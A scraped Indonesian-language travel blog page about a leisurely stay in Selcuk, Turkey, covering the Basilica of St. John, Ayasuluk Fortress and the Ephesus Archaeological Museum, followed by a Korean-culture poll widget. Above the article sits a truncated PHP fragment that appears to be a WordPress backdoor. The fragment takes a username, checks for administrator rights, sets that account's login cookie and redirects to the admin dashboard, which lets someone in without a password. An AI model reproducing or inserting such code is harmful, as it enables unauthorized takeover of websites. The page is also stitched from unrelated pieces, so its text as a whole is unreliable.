user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Travel
Slow Travel di Selcuk, Turki

26 Jan 2019



 
Slow Travel Sempurna
 
Tadinya kami mengalokasikan 3 malam di Selcuk dengan niat leyeh-leyeh setelah dari Efesus. Ternyata, kota kecil bernama asli Ayasuluk ini punya begitu banyak hal menarik yang sayang dilewatkan. Dari balkon kamar hotel yang terletak di pojok jalan dan dirambati tanaman hijau lebat, kami bisa duduk sambil memandang Basilika Santo Yohanes dan Benteng Ayasuluk di seberang jalan yang sejak pagi sudah ramai turis.
 
Kami pun memutuskan untuk bangun agak siang dan berkunjung saat turis sudah agak berkurang. Dengan langit separuh cerah, separuh mendung, dan angin yang bertiup sepoi-sepoi, area reruntuhan Basilika Santo Yohanes terasa teduh dan sejuk.
 
Advertisement
Berkat lokasinya yang strategis dan cukup tinggi, area basilica menyuguhkan pemandangan kota yang indah  dari kejauhan. Satu sisinya menghadap bagian Kota Selcuk yang modern, sementara sisi lainnya menghadap ladang hijau dan Masjid Isa Bey yang berarsitektur khas Anatolia. Basilika ini dibangun oleh Kaisar Yustinianus I pada abad ke-6 di atas tempat yang dipercaya sebagai makam Santo Yohanes. Waktu itu, Sang Kaisar terinspirasi untuk mendedikasikan sebuah basilika setelah menemukan makam dari abad ke-4 yang menurut legenda berisi aneka relik peninggalan Santo Yohanes. Di sana saya menemukan pilar-pilar di bawah kubah, dihiasi simbol Kristiani, dan sebuah wadah air untuk pembaptisan. Bahkan, setelah digali selama satu setengah abad, seakan masih ada begitu banyak rahasia yang belum terungkap di sini.
 
Hari makin sore dan langit makin gelap. Kami menuju benteng di belakang basilika dan bisa diakses dengan tiket yang sama. Berbeda dari kastil-kastil Eropa yang lebih populer dan modern, Kastil Ayasuluk dibuat dari bebatuan. Karena licin, saya perlu sedikit usaha dan hati-hati untuk mendaki sampai ke atas. Setelah 25 tahun, penggalian benteng berakhir tahun 1998.
 
Beberapa temuannya membuktikan bahwa benteng ini sudah ada sejak zaman Neolitikum dan bertahan melewati era Byzantium, Selcuk, dan Ottoman. Masih ingin ‘menggali’ kota ini lebih dalam, keesokan harinya kami berkunjung ke Museum  arkeologi Efesus yang berjarak sekitar 20 menit jalan kaki dari hotel. Meski tidak terlalu besar, museum yang sudah direnovasi ini tampak modern dan memiliki koleksi yang luar biasa dari area-area penggalian di sekitarnya.
 
Yang menjadi highlight adalah patung Dewi Artemis dari Kuil Artemis yang masuk dalam Tujuh Keajaiban Dunia Kuno. Diletakkan di sebuah ruangan bertembok hitam dengan pencahayaan dramatis, ‘perjumpaan’ saya dengan dewi pembawa dan penghalau penyakit perempuan ini terasa begitu mistis.
 
Di sana saya juga menemukan patung-patung kepala dari dewa-dewi Yunani dan tokoh-tokoh Romawi dari awal Masehi, yang beberapa di antaranya berukuran raksasa. Museum yang memiliki 9 ruangan galeri ini juga menyimpan aneka aksesori wanita dan barang-barang dari kuburan gladiator.
 


Topic

#travel, #turki, #selcuk

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?